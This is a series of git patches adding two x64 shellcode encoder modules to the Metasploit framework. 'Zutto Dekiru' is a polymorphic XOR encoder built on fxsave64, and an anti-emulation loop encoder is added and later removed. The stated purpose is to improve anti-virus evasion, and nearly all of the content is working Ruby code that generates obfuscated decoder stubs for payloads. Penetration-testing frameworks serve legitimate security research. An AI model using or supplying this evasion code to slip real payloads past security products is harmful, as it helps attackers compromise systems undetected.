From c489c5ce3ebff9353b13569723c4c8f554f4da43 Mon Sep 17 00:00:00 2001 From: agix Date: Wed, 29 Jun 2016 23:11:24 +0200 Subject: [PATCH 1/5] Add two x64 encoders to improve anti-virus evasion --- modules/encoders/x64/misc_anti_emu.rb | 57 +++++++ modules/encoders/x64/zutto_dekiru.rb | 217 ++++++++++++++++++++++++++ 2 files changed, 274 insertions(+) create mode 100644 modules/encoders/x64/misc_anti_emu.rb create mode 100644 modules/encoders/x64/zutto_dekiru.rb diff --git a/modules/encoders/x64/misc_anti_emu.rb b/modules/encoders/x64/misc_anti_emu.rb new file mode 100644 index 0000000000..fe7602181f --- /dev/null +++ b/modules/encoders/x64/misc_anti_emu.rb @@ -0,0 +1,57 @@ +require 'metasm' +require 'msf/core' + +class MetasploitModule < Msf::Encoder + + Rank = ManualRanking + + def initialize + super( + 'Name' => 'Anti Emulation', + 'Version' => '$Revision: 14774 $', + 'Description' => 'One loop to rule them all', + 'Author' => 'a five years old child', + 'Arch' => ARCH_X86_64, + 'License' => MSF_LICENSE, + 'EncoderType' => Msf::Encoder::Type::Raw + ) + end + + @@cpu64 = Metasm::X86_64.new + def assemble(src, cpu=@@cpu64) + Metasm::Shellcode.assemble(cpu, src).encode_string + end + + def can_preserve_registers? + true + end + + def modified_registers + [] + end + + def preserves_stack? + true + end + + def encode_block(state, block) + nb_iter = rand(0x2fffffff)+0xfffffff + + push_registers = assemble("push rax") + pop_registers = assemble("pop rax") + if datastore['SaveRegisters'] + datastore['SaveRegisters'].split(" ").each { |reg| + push_registers += assemble("push %s"%reg) + pop_registers = assemble("pop %s"%reg) + pop_registers + } + end + anti_emu_stub = assemble("mov ecx, 0x%016x"%nb_iter) + loop_code = assemble("xor rax, rbx") + anti_emu_stub += loop_code + anti_emu_stub += "\xe2"+(0x100-(loop_code.length+2)).chr + + + return push_registers + anti_emu_stub + pop_registers + block + end + +end diff --git a/modules/encoders/x64/zutto_dekiru.rb b/modules/encoders/x64/zutto_dekiru.rb new file mode 100644 index 0000000000..145cf22c1f --- /dev/null +++ b/modules/encoders/x64/zutto_dekiru.rb @@ -0,0 +1,217 @@ +require 'metasm' +require 'msf/core' +require 'rex/nop/opty2' + +class MetasploitModule < Msf::Encoder + + Rank = ManualRanking + + def initialize + super( + 'Name' => 'Zutto Dekiru', + 'Version' => '$Revision: 14774 $', + 'Description' => 'Inspired by shikata_ga_nai using fxsave64 to work under x86_64 systems.', + 'Author' => 'agix', + 'Arch' => ARCH_X86_64, + 'License' => MSF_LICENSE, + 'EncoderType' => Msf::Encoder::Type::Raw + ) + end + + @@cpu64 = Metasm::X86_64.new + def assemble(src, cpu=@@cpu64) + Metasm::Shellcode.assemble(cpu, src).encode_string + end + + + def fxsave64(reg) + case reg + when "rax" + return "\x48\x0f\xae\x00" + when "rbx" + return "\x48\x0f\xae\x03" + when "rcx" + return "\x48\x0f\xae\x01" + when "rdx" + return "\x48\x0f\xae\x02" + when "rsi" + return "\x48\x0f\xae\x06" + when "rdi" + return "\x48\x0f\xae\x07" + when "rbp" + return "\x48\x0f\xae\x45\x00" + when "r8" + return "\x49\x0f\xae\x00" + when "r9" + return "\x49\x0f\xae\x01" + when "r10" + return "\x49\x0f\xae\x02" + when "r11" + return "\x49\x0f\xae\x03" + when "r12" + return "\x49\x0f\xae\x04\x24" + when "r13" + return "\x49\x0f\xae\x45\x00" + when "r14" + return "\x49\x0f\xae\x06" + when "r15" + return "\x49\x0f\xae\x07" + end + end + + def nop(length,save_registers=[]) + test = Rex::Nop::Opty2.new('',save_registers) + return test.generate_sled(length) + end + + # Indicate that this module can preserve some registers + def can_preserve_registers? + true + end + # + # Returns the set of FPU instructions that can be used for the FPU block of + # the decoder stub. + # + def fpu_instructions + fpus = [] + + 0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr } + 0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr } + 0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr } + 0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr } + 0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr } + + fpus << "\xd9\xd0" + fpus << "\xd9\xe1" + fpus << "\xd9\xf6" + fpus << "\xd9\xf7" + fpus << "\xd9\xe5" + + # This FPU instruction seems to fail consistently on Linux + #fpus << "\xdb\xe1" + + fpus + end + + def rand_string(length) + o = [('0'..'9'),('a'..'z'),('A'..'Z')].map{|i| i.to_a}.flatten; + string = (0..(length-1)).map{ o[rand(o.length)] }.join; + + return string + end + + def xor_string(text,key) + text.length.times {|n| text[n] = (text[n].ord^key[n.modulo(key.length)].ord).chr } + return text + end + + + def ordered_random_merge(a,b) + a, b = a.dup, b.dup + a.map{rand(b.size+1)}.sort.reverse.each do |index| + b.insert(index, a.pop) + end + b + end + + def encode_block(state, block) + allowedReg = [ + ["rax", "eax", "ax", "al" ], + ["rbx", "ebx", "bx", "bl" ], + ["rcx", "ecx", "cx", "cl" ], + ["rdx", "edx", "dx", "dl" ], + ["rsi", "esi", "si", "sil" ], + ["rdi", "edi", "di", "dil" ], + ["rbp", "ebp", "bp", "bpl" ], + ["r8", "r8d", "r8w", "r8b" ], + ["r9", "r9d", "r9w", "r9b" ], + ["r10", "r10d", "r10w", "r10b"], + ["r11", "r11d", "r11w", "r11b"], + ["r12", "r12d", "r12w", "r12b"], + ["r13", "r13d", "r13w", "r13b"], + ["r14", "r14d", "r14w", "r14b"], + ["r15", "r15d", "r15w", "r15b"], + ] + allowedReg.delete_if { |reg| if datastore['SaveRegisters']; datastore['SaveRegisters'].include?(reg.first); end } + allowedReg.shuffle! + + if block.length%8 != 0 + block += nop(8-(block.length%8)) + end + + key = rand_string(8) + + regKey = allowedReg[0][0] + regSize = allowedReg[3][0] + regRip = allowedReg[1][0] + regEnv = allowedReg[2] + + flipCoin = rand(2) + + fpuOpcode = Rex::Poly::LogicalBlock.new('fpu', + *fpu_instructions) + + fpu = [] + fpu << ["fpu",fpuOpcode.generate([], nil, state.badchars)] + + sub = (rand(0xd00)&0xfff0)+0xf000 + lea = [] + if flipCoin==0 + lea << ["lea", assemble("mov %s, rsp"%regEnv[0])] + lea << ["lea1", assemble("and "+regEnv[2]+", 0x%x"%sub)] + else + lea << ["lea", assemble("push rsp")] + lea << ["lea1", assemble("pop "+regEnv[0])] + lea << ["lea2", assemble("and "+regEnv[2]+", 0x%x"%sub)] + end + + fpuLea = ordered_random_merge(fpu, lea) + fpuLea << ["fpu1", fxsave64(regEnv[0])] # fxsave64 doesn't seem to exist in metasm + + + keyIns = [["key", assemble("mov "+regKey+", 0x%x"%key.unpack('q*'))]] + + size = [] + size << ["size", assemble("mov "+regSize+", 0x%x"% (block.length/8))] + + getrip=0 + + a = ordered_random_merge(size, keyIns) + decodeHeadTab = ordered_random_merge(a, fpuLea) + + decodeHeadTab.length.times { |i| getrip=i if decodeHeadTab[i][0]=="fpu"} + + decodeHead = decodeHeadTab.map { |j,i| i.to_s }.join + + flipCoin = rand(2) + if flipCoin==0 + decodeHead += assemble("mov "+regRip+", ["+regEnv[0]+" + 0x8]") + else + decodeHead += assemble("add "+regEnv[0]+", 0x8") + decodeHead += assemble("mov "+regRip+", ["+regEnv[0]+"]") + end + + + decodeHeadSize=decodeHead.length + getrip.times { |i| decodeHeadSize-=decodeHeadTab[i][1].length } + + loopCode = assemble("dec "+regSize) + loopCode += assemble("xor ["+regRip+"+"+regSize+"*8], "+regKey) + loopCode += assemble("test "+regSize+", "+regSize) + jnz = "\x75"+(0x100-(loopCode.length+2)).chr + + moveip = [] + moveip << assemble("lea "+regRip+", ["+regRip+"+0x"+(decodeHeadSize+loopCode.length+3+3).to_s(16)+"]") + moveip << assemble("add "+regRip+", 0x"+(decodeHeadSize+loopCode.length+3+3).to_s(16)) + + moveip.shuffle! + + decode = decodeHead+moveip[0]+loopCode+jnz + + encode = xorString(block,key) + + return decode + encode + end + + +end From 8a777bec41db976d8c9692ba1dc2da9e898df1bb Mon Sep 17 00:00:00 2001 From: agix Date: Wed, 29 Jun 2016 23:30:48 +0200 Subject: [PATCH 2/5] Forget to rename function after msftidy correction --- modules/encoders/x64/zutto_dekiru.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/encoders/x64/zutto_dekiru.rb b/modules/encoders/x64/zutto_dekiru.rb index 145cf22c1f..c4457a2f81 100644 --- a/modules/encoders/x64/zutto_dekiru.rb +++ b/modules/encoders/x64/zutto_dekiru.rb @@ -208,7 +208,7 @@ class MetasploitModule < Msf::Encoder decode = decodeHead+moveip[0]+loopCode+jnz - encode = xorString(block,key) + encode = xor_string(block,key) return decode + encode end From 31ea58d7f0375c8b64499c5b9a2d5ee7cd18332e Mon Sep 17 00:00:00 2001 From: agix Date: Thu, 30 Jun 2016 18:29:30 +0200 Subject: [PATCH 3/5] Inherit from Msf::Encoder::Xor to get key preventing badchars I guess it what Msf::Encoder::Xor find_bad_keys is for. --- modules/encoders/x64/zutto_dekiru.rb | 47 +++++++++++++++++++++------- 1 file changed, 35 insertions(+), 12 deletions(-) diff --git a/modules/encoders/x64/zutto_dekiru.rb b/modules/encoders/x64/zutto_dekiru.rb index c4457a2f81..6ebf12224c 100644 --- a/modules/encoders/x64/zutto_dekiru.rb +++ b/modules/encoders/x64/zutto_dekiru.rb @@ -2,7 +2,7 @@ require 'metasm' require 'msf/core' require 'rex/nop/opty2' -class MetasploitModule < Msf::Encoder +class MetasploitModule < Msf::Encoder::Xor Rank = ManualRanking @@ -14,7 +14,12 @@ class MetasploitModule < Msf::Encoder 'Author' => 'agix', 'Arch' => ARCH_X86_64, 'License' => MSF_LICENSE, - 'EncoderType' => Msf::Encoder::Type::Raw + 'EncoderType' => Msf::Encoder::Type::Raw, + 'Decoder' => + { + 'KeySize' => 8, + 'KeyPack' => 'Q' + } ) end @@ -139,10 +144,28 @@ class MetasploitModule < Msf::Encoder block += nop(8-(block.length%8)) end - key = rand_string(8) + regType = 3 + + if (block.length/8) > 0xff + regType=2 + end + + if (block.length/8) > 0xffff + regType=1 + end + + if (block.length/8) > 0xffffffff + regType=0 + end + + # if regType == 3 + # while (allowedReg[3][0]=="esi" || allowedReg[3][0]=="edi" || allowedReg[3][0]=="ebp") + # allowedReg.insert(0,allowedReg.delete(allowedReg[3])) + # end + # end regKey = allowedReg[0][0] - regSize = allowedReg[3][0] + regSize = allowedReg[3] regRip = allowedReg[1][0] regEnv = allowedReg[2] @@ -168,11 +191,11 @@ class MetasploitModule < Msf::Encoder fpuLea = ordered_random_merge(fpu, lea) fpuLea << ["fpu1", fxsave64(regEnv[0])] # fxsave64 doesn't seem to exist in metasm - - keyIns = [["key", assemble("mov "+regKey+", 0x%x"%key.unpack('q*'))]] + keyIns = [["key", assemble("mov "+regKey+", 0x%x"%state.key)]] size = [] - size << ["size", assemble("mov "+regSize+", 0x%x"% (block.length/8))] + size << ["size",assemble("xor "+regSize[0]+", "+regSize[0])] + size << ["size", assemble("mov "+regSize[regType]+", 0x%x"% (block.length/8))] getrip=0 @@ -184,6 +207,7 @@ class MetasploitModule < Msf::Encoder decodeHead = decodeHeadTab.map { |j,i| i.to_s }.join flipCoin = rand(2) + if flipCoin==0 decodeHead += assemble("mov "+regRip+", ["+regEnv[0]+" + 0x8]") else @@ -195,9 +219,9 @@ class MetasploitModule < Msf::Encoder decodeHeadSize=decodeHead.length getrip.times { |i| decodeHeadSize-=decodeHeadTab[i][1].length } - loopCode = assemble("dec "+regSize) - loopCode += assemble("xor ["+regRip+"+"+regSize+"*8], "+regKey) - loopCode += assemble("test "+regSize+", "+regSize) + loopCode = assemble("dec "+regSize[0]) + loopCode += assemble("xor ["+regRip+"+"+regSize[0]+"*8], "+regKey) + loopCode += assemble("test "+regSize[0]+", "+regSize[0]) jnz = "\x75"+(0x100-(loopCode.length+2)).chr moveip = [] @@ -207,8 +231,7 @@ class MetasploitModule < Msf::Encoder moveip.shuffle! decode = decodeHead+moveip[0]+loopCode+jnz - - encode = xor_string(block,key) + encode = xor_string(block, [state.key].pack('Q')) return decode + encode end From 3edb0b36255a1b77f454a0d706c8428f901de9c4 Mon Sep 17 00:00:00 2001 From: agix Date: Thu, 30 Jun 2016 19:14:32 +0200 Subject: [PATCH 4/5] Reduce chance to get a null byte in the decoder stub --- modules/encoders/x64/zutto_dekiru.rb | 23 +++++++++-------------- 1 file changed, 9 insertions(+), 14 deletions(-) diff --git a/modules/encoders/x64/zutto_dekiru.rb b/modules/encoders/x64/zutto_dekiru.rb index 6ebf12224c..390a79d59b 100644 --- a/modules/encoders/x64/zutto_dekiru.rb +++ b/modules/encoders/x64/zutto_dekiru.rb @@ -158,12 +158,6 @@ class MetasploitModule < Msf::Encoder::Xor regType=0 end - # if regType == 3 - # while (allowedReg[3][0]=="esi" || allowedReg[3][0]=="edi" || allowedReg[3][0]=="ebp") - # allowedReg.insert(0,allowedReg.delete(allowedReg[3])) - # end - # end - regKey = allowedReg[0][0] regSize = allowedReg[3] regRip = allowedReg[1][0] @@ -220,17 +214,18 @@ class MetasploitModule < Msf::Encoder::Xor getrip.times { |i| decodeHeadSize-=decodeHeadTab[i][1].length } loopCode = assemble("dec "+regSize[0]) - loopCode += assemble("xor ["+regRip+"+"+regSize[0]+"*8], "+regKey) + loopCode += assemble("xor ["+regRip+"+("+regSize[0]+"*8) + 0x7f], "+regKey) loopCode += assemble("test "+regSize[0]+", "+regSize[0]) + + payloadOffset = decodeHeadSize+loopCode.length+2 + + loopCode = assemble("dec "+regSize[0]) + loopCode += assemble("xor ["+regRip+"+("+regSize[0]+"*8) + 0x"+payloadOffset.to_s(16)+"], "+regKey) + loopCode += assemble("test "+regSize[0]+", "+regSize[0]) + jnz = "\x75"+(0x100-(loopCode.length+2)).chr - moveip = [] - moveip << assemble("lea "+regRip+", ["+regRip+"+0x"+(decodeHeadSize+loopCode.length+3+3).to_s(16)+"]") - moveip << assemble("add "+regRip+", 0x"+(decodeHeadSize+loopCode.length+3+3).to_s(16)) - - moveip.shuffle! - - decode = decodeHead+moveip[0]+loopCode+jnz + decode = decodeHead+loopCode+jnz encode = xor_string(block, [state.key].pack('Q')) return decode + encode From 7d638a0975c2e40fa199a5e45381991adbb855b9 Mon Sep 17 00:00:00 2001 From: agix Date: Tue, 5 Jul 2016 17:29:37 +0200 Subject: [PATCH 5/5] Remove misc_anti_emu --- modules/encoders/x64/misc_anti_emu.rb | 57 --------------------------- 1 file changed, 57 deletions(-) delete mode 100644 modules/encoders/x64/misc_anti_emu.rb diff --git a/modules/encoders/x64/misc_anti_emu.rb b/modules/encoders/x64/misc_anti_emu.rb deleted file mode 100644 index fe7602181f..0000000000 --- a/modules/encoders/x64/misc_anti_emu.rb +++ /dev/null @@ -1,57 +0,0 @@ -require 'metasm' -require 'msf/core' - -class MetasploitModule < Msf::Encoder - - Rank = ManualRanking - - def initialize - super( - 'Name' => 'Anti Emulation', - 'Version' => '$Revision: 14774 $', - 'Description' => 'One loop to rule them all', - 'Author' => 'a five years old child', - 'Arch' => ARCH_X86_64, - 'License' => MSF_LICENSE, - 'EncoderType' => Msf::Encoder::Type::Raw - ) - end - - @@cpu64 = Metasm::X86_64.new - def assemble(src, cpu=@@cpu64) - Metasm::Shellcode.assemble(cpu, src).encode_string - end - - def can_preserve_registers? - true - end - - def modified_registers - [] - end - - def preserves_stack? - true - end - - def encode_block(state, block) - nb_iter = rand(0x2fffffff)+0xfffffff - - push_registers = assemble("push rax") - pop_registers = assemble("pop rax") - if datastore['SaveRegisters'] - datastore['SaveRegisters'].split(" ").each { |reg| - push_registers += assemble("push %s"%reg) - pop_registers = assemble("pop %s"%reg) + pop_registers - } - end - anti_emu_stub = assemble("mov ecx, 0x%016x"%nb_iter) - loop_code = assemble("xor rax, rbx") - anti_emu_stub += loop_code - anti_emu_stub += "\xe2"+(0x100-(loop_code.length+2)).chr - - - return push_registers + anti_emu_stub + pop_registers + block - end - -end